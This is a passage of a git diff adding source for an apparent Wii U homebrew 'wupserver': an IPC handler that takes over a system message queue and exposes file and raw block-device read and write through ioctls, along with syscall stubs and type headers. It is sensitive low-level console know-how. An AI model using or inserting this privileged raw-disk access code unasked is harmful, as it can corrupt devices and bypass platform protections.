message->ioctl.buffer_io[0] = FSA_GetDeviceInfo(fd, device_path, type, message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_OPENDIR: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_OpenDir(fd, path, (int*)message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_READDIR: + { + int fd = message->ioctl.buffer_in[0]; + int handle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_ReadDir(fd, handle, (directoryEntry_s*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_CLOSEDIR: + { + int fd = message->ioctl.buffer_in[0]; + int handle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_CloseDir(fd, handle); + break; + } + case IOCTL_FSA_MAKEDIR: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + u32 flags = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_MakeDir(fd, path, flags); + break; + } + case IOCTL_FSA_OPENFILE: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + char *mode = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_OpenFile(fd, path, mode, (int*)message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_READFILE: + { + int fd = message->ioctl.buffer_in[0]; + u32 size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + int fileHandle = message->ioctl.buffer_in[3]; + u32 flags = message->ioctl.buffer_in[4]; + + message->ioctl.buffer_io[0] = FSA_ReadFile(fd, ((u8*)message->ioctl.buffer_io) + 0x40, size, cnt, fileHandle, flags); + break; + } + case IOCTL_FSA_WRITEFILE: + { + int fd = message->ioctl.buffer_in[0]; + u32 size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + int fileHandle = message->ioctl.buffer_in[3]; + u32 flags = message->ioctl.buffer_in[4]; + + message->ioctl.buffer_io[0] = FSA_WriteFile(fd, ((u8*)message->ioctl.buffer_in) + 0x40, size, cnt, fileHandle, flags); + break; + } + case IOCTL_FSA_STATFILE: + { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_StatFile(fd, fileHandle, (fileStat_s*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_CLOSEFILE: + { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_CloseFile(fd, fileHandle); + break; + } + case IOCTL_FSA_SETFILEPOS: + { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + u32 position = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_SetPosFile(fd, fileHandle, position); + break; + } + case IOCTL_FSA_GETSTAT: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_GetStat(fd, path, (fileStat_s*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_REMOVE: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_Remove(fd, path); + break; + } + case IOCTL_FSA_REWINDDIR: + { + int fd = message->ioctl.buffer_in[0]; + int dirFd = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RewindDir(fd, dirFd); + break; + } + case IOCTL_FSA_CHDIR: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_ChangeDir(fd, path); + break; + } + case IOCTL_FSA_RAW_OPEN: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RawOpen(fd, path, (int*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_RAW_READ: + { + int fd = message->ioctl.buffer_in[0]; + u32 block_size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; + int deviceHandle = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_RawRead(fd, ((u8*)message->ioctl.buffer_io) + 0x40, block_size, cnt, sector_offset, deviceHandle); + break; + } + case IOCTL_FSA_RAW_WRITE: + { + int fd = message->ioctl.buffer_in[0]; + u32 block_size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; + int deviceHandle = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_RawWrite(fd, ((u8*)message->ioctl.buffer_in) + 0x40, block_size, cnt, sector_offset, deviceHandle); + break; + } + case IOCTL_FSA_RAW_CLOSE: + { + int fd = message->ioctl.buffer_in[0]; + int deviceHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RawClose(fd, deviceHandle); + break; + } + case IOCTL_FSA_CHANGEMODE: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + int mode = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_ChangeMode(fd, path, mode); + break; + } + default: + res = IOS_ERROR_INVALID_ARG; + break; + } + + return res; +} + +int ipc_thread(void *arg) +{ + int res; + ipcmessage *message; + /*u32* messageQueue = svcAllocAlign(0xCAFF, 0x20, 0x20); + int queueId = svcCreateMessageQueue(messageQueue, 0x10);*/ + // mcp main thread message queue listening on "/dev/mcp" + int queueId = *(int*)0x5070AEC; + int exit = 0; + while(!exit) + { + res = svcReceiveMessage(queueId, &message, 0); + if(res < 0) + { + usleep(10000); + continue; + } + + switch(message->command) + { + case IOS_OPEN: + { + //log_printf("IOS_OPEN\n"); + res = 0; + break; + } + case IOS_CLOSE: + { + //log_printf("IOS_CLOSE\n"); + exit = 1; + res = 0; + break; + } + case IOS_IOCTL: + { + //log_printf("IOS_IOCTL\n"); + res = ipc_ioctl(message); + break; + } + case IOS_IOCTLV: + { + //log_printf("IOS_IOCTLV\n"); + res = 0; + break; + } + default: + { + //log_printf("unexpected command 0x%X\n", message->command); + res = IOS_ERROR_UNKNOWN_VALUE; + break; + } + } + + svcResourceReply(message, res); + } + + return res; +} + +/*void ipc_init(void) +{ + int threadId = svcCreateThread(ipc_thread, 0, (u32*)(threadStack + sizeof(threadStack)), sizeof(threadStack), 0x78, 1); + if(threadId >= 0) + svcStartThread(threadId); +}*/ diff --git a/installer/wupserver/source/ipc.h b/installer/wupserver/source/ipc.h new file mode 100644 index 0000000..72aac08 --- /dev/null +++ b/installer/wupserver/source/ipc.h @@ -0,0 +1,6 @@ +#ifndef _IPC_H_ +#define _IPC_H_ + +void ipc_init(); + +#endif diff --git a/installer/wupserver/source/ipc_types.h b/installer/wupserver/source/ipc_types.h new file mode 100644 index 0000000..22e14ff --- /dev/null +++ b/installer/wupserver/source/ipc_types.h @@ -0,0 +1,83 @@ +#ifndef _IPC_TYPES_H_ +#define _IPC_TYPES_H_ + +#include "types.h" + +#define IOS_COMMAND_INVALID 0x00 +#define IOS_OPEN 0x01 +#define IOS_CLOSE 0x02 +#define IOS_READ 0x03 +#define IOS_WRITE 0x04 +#define IOS_SEEK 0x05 +#define IOS_IOCTL 0x06 +#define IOS_IOCTLV 0x07 +#define IOS_REPLY 0x08 +#define IOS_IPC_MSG0 0x09 +#define IOS_IPC_MSG1 0x0A +#define IOS_IPC_MSG2 0x0B +#define IOS_SUSPEND 0x0C +#define IOS_RESUME 0x0D +#define IOS_SVCMSG 0x0E + + +/* IPC message */ +typedef struct ipcmessage +{ + u32 command; + u32 result; + u32 fd; + u32 flags; + u32 client_cpu; + u32 client_pid; + u64 client_gid; + u32 server_handle; + + union + { + u32 args[5]; + + struct + { + char *device; + u32 mode; + u32 resultfd; + } open; + + struct + { + void *data; + u32 length; + } read, write; + + struct + { + s32 offset; + s32 origin; + } seek; + + struct + { + u32 command; + + u32 *buffer_in; + u32 length_in; + u32 *buffer_io; + u32 length_io; + } ioctl; + struct _ioctlv + { + u32 command; + + u32 num_in; + u32 num_io; + struct _ioctlv *vector; + } ioctlv; + }; + + u32 prev_command; + u32 prev_fd; + u32 virt0; + u32 virt1; +} __attribute__((packed)) ipcmessage; + +#endif diff --git a/installer/wupserver/source/svc.h b/installer/wupserver/source/svc.h new file mode 100644 index 0000000..8aa8aad --- /dev/null +++ b/installer/wupserver/source/svc.h @@ -0,0 +1,31 @@ +#ifndef SVC_H +#define SVC_H + +#include "ipc_types.h" + +typedef struct +{ + void* ptr; + u32 len; + u32 unk; +}iovec_s; + +void* svcAlloc(u32 heapid, u32 size); +void* svcAllocAlign(u32 heapid, u32 size, u32 align); +void svcFree(u32 heapid, void* ptr); +int svcOpen(char* name, int mode); +int svcClose(int fd); +int svcIoctl(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len); +int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector); +int svcInvalidateDCache(void* address, u32 size); +int svcFlushDCache(void* address, u32 size); + +int svcCreateThread(int (*callback)(void* arg), void* arg, u32* stack_top, u32 stacksize, int priority, int detached); +int svcStartThread(int threadId); +int svcCreateMessageQueue(u32 *ptr, u32 n_msgs); +int svcRegisterResourceManager(const char* device, int queueid); +int svcReceiveMessage(int queueid, ipcmessage ** ipc_buf, u32 flags); +int svcResourceReply(ipcmessage * ipc_message, u32 result); +u32 svcRead32(u32 addr); + +#endif diff --git a/installer/wupserver/source/svc.s b/installer/wupserver/source/svc.s new file mode 100644 index 0000000..1abd79a --- /dev/null +++ b/installer/wupserver/source/svc.s @@ -0,0 +1,99 @@ +.section ".text" +.arm +.align 4 + +.global svcCreateThread +.type svcCreateThread, %function +svcCreateThread: + .word 0xE7F000F0 + bx lr + +.global svcStartThread +.type svcStartThread, %function +svcStartThread: + .word 0xE7F007F0 + bx lr + +.global svcCreateMessageQueue +.type svcCreateMessageQueue, %function +svcCreateMessageQueue: + .word 0xE7F00CF0 + bx lr + +.global svcReceiveMessage +.type svcReceiveMessage, %function +svcReceiveMessage: + .word 0xE7F010F0 + bx lr + +.global svcAlloc +.type svcAlloc, %function +svcAlloc: + .word 0xE7F027F0 + bx lr + +.global svcAllocAlign +.type svcAllocAlign, %function +svcAllocAlign: + .word 0xE7F028F0 + bx lr + +.global svcFree +.type svcFree, %function +svcFree: + .word 0xE7F029F0 + bx lr + +.global svcRegisterResourceManager +.type svcRegisterResourceManager, %function +svcRegisterResourceManager: + .word 0xE7F02CF0 + bx lr + +.global svcOpen +.type svcOpen, %function +svcOpen: + .word 0xE7F033F0 + bx lr + +.global svcClose +.type svcClose, %function +svcClose: + .word 0xE7F034F0 + bx lr + +.global svcIoctl +.type svcIoctl, %function +svcIoctl: + .word 0xE7F038F0 + bx lr + +.global svcIoctlv +.type svcIoctlv, %function +svcIoctlv: + .word 0xE7F039F0 + bx lr + +.global svcResourceReply +.type svcResourceReply, %function +svcResourceReply: + .word 0xE7F049F0 + bx lr + +.global svcInvalidateDCache +.type svcInvalidateDCache, %function +svcInvalidateDCache: + .word 0xE7F051F0 + bx lr + +.global svcFlushDCache +.type svcFlushDCache, %function +svcFlushDCache: + .word 0xE7F052F0 + bx lr + +.global svcRead32 +.type svcRead32, %function +svcRead32: + .word 0xE7F081F0 + bx lr diff --git a/installer/wupserver/source/types.h b/installer/wupserver/source/types.h new file mode 100644 index 0000000..832bc29 --- /dev/null +++ b/installer/wupserver/source/types.h @@ -0,0 +1,29 @@ +#ifndef TYPES_H +#define TYPES_H + + #include + #include + + #define U64_MAX UINT64_MAX + + typedef uint8_t u8; + typedef uint16_t u16; + typedef uint32_t u32; + typedef uint64_t u64; + + typedef int8_t s8; + typedef int16_t s16; + typedef int32_t s32; + typedef int64_t s64; + + typedef volatile u8 vu8; + typedef volatile u16 vu16; + typedef volatile u32 vu32; + typedef volatile u64 vu64; + + typedef volatile s8 vs8; + typedef volatile s16 vs16; + typedef volatile s32 vs32; + typedef volatile s64 vs64; + +#endif diff --git a/meta/bootDrcTex.tga b/meta/bootDrcTex.tga deleted file mode 100644 index e165f2e3caaa2ed520141bae2f9368302d50ebb0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1229804 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 